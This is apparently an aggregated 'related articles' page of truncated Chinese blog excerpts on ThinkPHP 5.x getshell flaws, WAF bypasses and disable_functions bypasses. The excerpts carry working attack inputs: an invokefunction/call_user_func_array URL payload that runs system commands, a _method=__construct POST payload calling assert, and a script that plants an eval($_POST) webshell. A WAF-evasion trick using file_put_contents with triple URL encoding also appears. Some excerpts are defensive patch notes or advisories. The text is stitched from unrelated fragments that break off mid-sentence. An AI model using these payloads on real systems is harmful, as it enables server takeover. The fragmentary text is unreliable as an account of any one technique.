thinkphp-getshell Bypass】的更多相关文章

0×00 背景 网站为了实现加速访问,会将用户访问过的页面存入缓存来减小数据库查询的开销.而Thinkphp5框架的缓存漏洞使得在缓存中注入代码成为可能.(漏洞详情见参考资料) 本文将会详细讲解: 1. 如何判断缓存漏洞存在的可能性 2. 如何利用Thinkphp5的框架漏洞结合网站的一些配置实现前台getshell 希望可以给予读者一些关于漏洞应用的启发. 0×01 环境 测试环境 1.某基于Thinkphp5.0.10搭建的论坛类测试网站 2.apache2 3.php5.6及以上版本,相关…
目录 Thinkphp <= 5.0.10 缓存getshell复现 0x01 poc 0x02 跟踪源码 0x03 审计思路 0x04 补丁 0x05 参考 Thinkphp <= 5.0.10 缓存getshell复现 0x01 poc 首先看缓存函数的使用场景 然后会生成以下缓存文件 可以看到,字符串abc直接存储到以php结尾的缓存文件中.尝试使用\n换行getshell 语法有错,注释一下后面的垃圾字符,成功getshell. 0x02 跟踪源码 首先跟进18行的Cache::set…
可以看到直接被拦了,经测试这里是敏感函数字符拦截,大部分有用的敏感函数都被拦了,这里面被拦的是phpinfo() Emmmm,怎么办呢..... 直接执行代码不行,那么就写入代码吧,用file_put_contents()函数进行写入. 但这里又有一个问题,正常的写入由于请求参数中带有敏感字符一样会被拦,并且使用小马执行调用敏感函数的时候也会被拦 所以得配合点黑科技,使用特殊小马,加URL编码三次 url: ?s=index/think\app/invokefunction&function=c…
  作者:i春秋作家--F0rmat 0×01 前言 今天翻了下CNVD,看到了一个MIPCMS的远程代码执行漏洞,然后就去官网下载了这个版本的源码研究了下.看下整体的结构,用的是thinkPHP的架构,看到了install这个文件没有可以绕过install.lock进行重装,但是里面有一个一定要验证数据库,又要找一个SQL的注入漏洞.想起前几天大表哥Bypass发了一篇好像是关于mipcms的漏洞,赶紧去翻了一下,又学到不少技巧,这个技巧可以用在我上次发的一篇ZZCMS 8.2任意文件删除至G…
年前写的了,做测试用,主要利用 session getshell 或者thinkphp 的log  //勿用attack  测试 import requests import time import sys def session_write(url): fuck = {'_method': '__construct', 'filter[]': 'think\Session::set', 'method': 'get', 'get[]': "<?php @eval($_POST['x'])…
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库.借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便.其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产…
参考来源:https://bbs.ichunqiu.com/thread-13703-1-1.html 位于:/inc/include/globals.php 第24-28行.有个任意变量覆盖. foreach(array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $i => &$n){ ${$i} = daddslashes($n); } } 然后对$value的值进行过滤,这里没考虑到_FILES和GBL…
原文:http://www.freebuf.com/articles/web/169156.html 一.为什么要bypass disable functions 为了安全起见,很多运维人员会禁用PHP的一些“危险”函数,例如eval.exec.system等,将其写在php.ini配置文件中,就是我们所说的disable functions了,特别是虚拟主机运营商,为了彻底隔离同服务器的客户,以及避免出现大面积的安全问题,在disable functions的设置中也通常较为严格. 攻与防是对…
0X00 前言 这个案例是某项目的漏洞,涉及敏感的地方将会打码. 很久没更新博客了,放一篇上来除除草,新的一年会有所转变,以后会有更多领域的研究. 下面是正文 0X01 正文 某厂商某个网站用的是thinkcmf 2.2.3. thinkcmf 2.2.3系统是存在漏洞的,参考先知上喵呜师傅写的一篇文章(https://xz.aliyun.com/t/3529 ) 文章中提到了三个漏洞,一个注入,两个模板注入写shell. 但是系统是部署在linux下面的,模板注入是不行的. 所以文章编辑处的s…
0x00 简介 2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞. 吃完饭回来看到这个公告都傻眼了,整个tp5系列都影响了,还是getshell. (以下截图为后截图,主要是想讲一下从无到有,如何分析漏洞,整个过程是怎么样的.) 0x01 漏洞原理 下午睡醒,赶紧起来分析漏洞. 结合官方公告说的由于对控制器名没有足够的检测,再查看官方git commit信息 拉一个tp下来,用的是tp 5.1.29的版本,w…
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本. 0x01 影响范围 5.x < 5.1.31, <= 5.0.23 0x02 漏洞分析 Thinkphp v5.0.x补丁地址: https://github.com/top-think/framewo…
THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去. 关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.p…
由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞.最直接的影响为index.php直接被篡改成首页html的内容! 5.0版本 thinkphp/library/think/App.php  类的module方法的获取控制器的代码后面加上 if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {    throw new HttpException(404, 'controller not exi…
THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去. 关于这次发现的oday漏洞,我们来看下是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图: 漏洞产…
发现时间 2019年03月18日 威胁目标 采用Zimbra邮件系统的企业 主要风险 远程代码执行 攻击入口 localconfig.xml  配置文件 使用漏洞 CVE-2019-9621 受影响应用 ZimbraCollaboration Server 8.8.11 之前的版本都受到影响. 已知影响 导致服务器信息泄露 威胁程度 高 漏洞描述: 当 Zimbra 存在像任意文件读取.XXE(xml外部实体注入)这种漏洞时,攻击者可以利用此漏洞读取 localconfig.xml配置文件,获取…
0x00 前言 gou楼兰师傅发来个站说是过不了gd库,问我有啥办法没有,给了他之前海贼师傅说的jpg_payload脚本,但是绕不过,问他拿了站点,写了个jpg_payload批量的fuzz脚本,fuzz了大半天,但都是没有成功的. 目标基础信息: thinkphp3.2.3 php 5.4.45 使用gd库添加文字水印 0x01 转机 晚上吃饱喝足,闲来无事重新分析目标给出的报错信息,当上传了不是jpg文件的信息时候,返回如下内容. 可以知道目标使用了tp自带的图片处理类Think\imag…
通常bypass的思路如下 1. 攻击后端组件,寻找存在命令注入的.web 应用常用的后端组件,如,ImageMagick 的魔图漏洞.bash 的破壳漏洞 2. 寻找未禁用的漏网函数,常见的执行命令的函数有 system().exec().shell_exec().passthru(),偏僻的 popen().proc_open().pcntl_exec() 3. mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制 4. 利用环境变量 LD…
thinkphp远程执行漏洞的本地复现 0X00漏洞简介 由于ThinkPHP5 框架控制器名 没有进行足够的安全监测,导致在没有开启强制路由的情况下,可以伪装特定的请求可以直接Getshell(可以控制服务器) 0X01环境搭建 下载存在漏洞版本我下载的版本是thinkphp_5.0.22搭建好以后如图 0X02漏洞复现 构造几个特殊的url即可复现漏洞. http://127.0.0.1/thinkphp_5.0.22/public/index.php?s=index/\think\app/…
ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本. 主要是因为”\“的错误 补丁: Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2…
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本. 0x01 影响范围 ThinkPHP 5.0.5-5.0.22 ThinkPHP 5.1.0-5.1.30 0x02 漏洞分析 Thinkphp v5.0.x补丁地址: https://github.co…
0x00 前言 朋友之前给了个站,拿了很久终于拿下,简单记录一下. 0x01 基础信息 漏洞点:tp 5 method 代码执行,payload如下 POST /?s=captcha _method=__construct&method=get&filter[]=assert&server[]=1&get[]=1 无回显,根据payload 成功判断目标thinkphp 版本应为5.0.23 有waf,waf拦截了以下内容 php标记: <?php <?= &l…
如上图,目标就一个登陆框,最近 Thinkphp 程序很多,根据后台地址结构,猜测可能是 ThinkPHP ,随手输入 xxx 得到 thinkPHP 报错页面,确定目标程序和版本. 然后上 5.X EXP 测试: 命令执行漏洞已经被修复了... 爆破?这验证码我没辙... 尝试读取日志瞅瞅,结果遇到防火墙 然后查了下 IP ,没有CDN,果断查下旁站,有那么几个站,目测都是 thinkPHP 爱站旁站查询其实并不准确,有的查不到,所以我直接丢 google 搜索子站,然后测试下这些 think…
https://github.com/pochubs/pochubs/blob/master/ThinkPHP.md tp 历史漏洞 路由控制類RCE/think/App.php if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); } 變量覆蓋RCE/think/Request.php if (in…
thinkPHP中反斜杠的作用是类库\命名空间 命令执行的姿势 通过反射invokefunction调用call_user_func_array方法,call_user_func_array函数接受两个参数,第一个为函数名,第二个为函数参数数组,如下所示,通过call_user_func_array函数调用system执行whoami函数 ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=syst…
此CMS是基于thinkphp框架二次开发的,目前有thinkphp5,以及thinkphp6两种版本.这些漏洞挖掘出来的时候已经在cnvd被提交过了.但是网上并没有漏洞文章.避免风险这里只分享思路. 通过fofa搜一下,大概两百多个独立IP 还不错,这个后台一般是个弱口令 admin admin 登录后可以查看到,具体thinkphp版本,这个对版本要求比较高,6.05以后好像就修复了.因为太明显了所以厚码,见谅. 这后台可以getshell原因是因为此处模板管理可以添加一个html页面,这里…
一.PATHINFO功能简述 搞PHP的都知道ThinkPHP是一个免费开源的轻量级PHP框架,虽说轻量但它的功能却很强大.这也是我接触学习的第一个框架.TP框架中的URL默认模式即是PathInfo模式.这个模式很强大,每当你访问一个网站必然带有一长串参数,但是太长又显得不太友好.对于访问一个以MVC模式搭建的网站,必然带有M.C.A三个参数即module.controller.action,这些参数需要还需要用&符号隔开,假若参数量很多,就显得特别的不友好啦.然而PathInfo模式功能就是…
缘起 SAE 和其他的平台有些不同,不能在服务器上运行 Composer 来安装各种包,必须把源码都提交上去.一般的做法,可能是直接把源码的所有文件复制到目录中,添加到版本库.不过,这样就失去了与上游代码的同步的优势.还好 git 提供了另一个功能叫 subtree,不但提供了版本追踪的功能,让代码可以一直和上游同步,同时源码文件还能提交到当前的仓库中. 过程 首先,当然是要安装 git 的 subtree 命令.这个命令虽然随 git 一起安装了,但默认并没有启用.每个平台的安装方法有所不同,…
好几天没写博客了,其实有好多需要总结的,因为最近一直在忙着做项目,但是困惑了几天的Smarty模板中截取包含中英文混合的字符串乱码的问题,终于解决了,所以记录下来,需要的朋友看一下: 出现乱码的原因: 对于字符串的截取,truncate函数只适合英文用户,对与中文用户来说,使用 truncate会出现乱码,而且对于中文英文混合串来说,截取同样个数的字符串,实际显示长度上却不同,一个中文的长度大致相当于两个英文的长度.此外,truncate不能同时兼容GB2312.UTF-8等编码. 解决方法:自…
ThinkPHP 模板substr的截取字符串函数在Common/function.php加上以下代码 /** ** 截取中文字符串 **/ function msubstr($str, $start=0, $length, $charset="utf-8", $suffix=true){ if(function_exists("mb_substr")){ $slice= mb_substr($str, $start, $length, $charset); }el…
public function NewsList(){ $this->assign('title','news'); $p = I('page',1); $listRows = 6; $News = M('news'); $info = $News->field('id,title,subtitle,publish_date,img,detail,typename')->where(array('type'=>'news','status'=>'1'))->order(…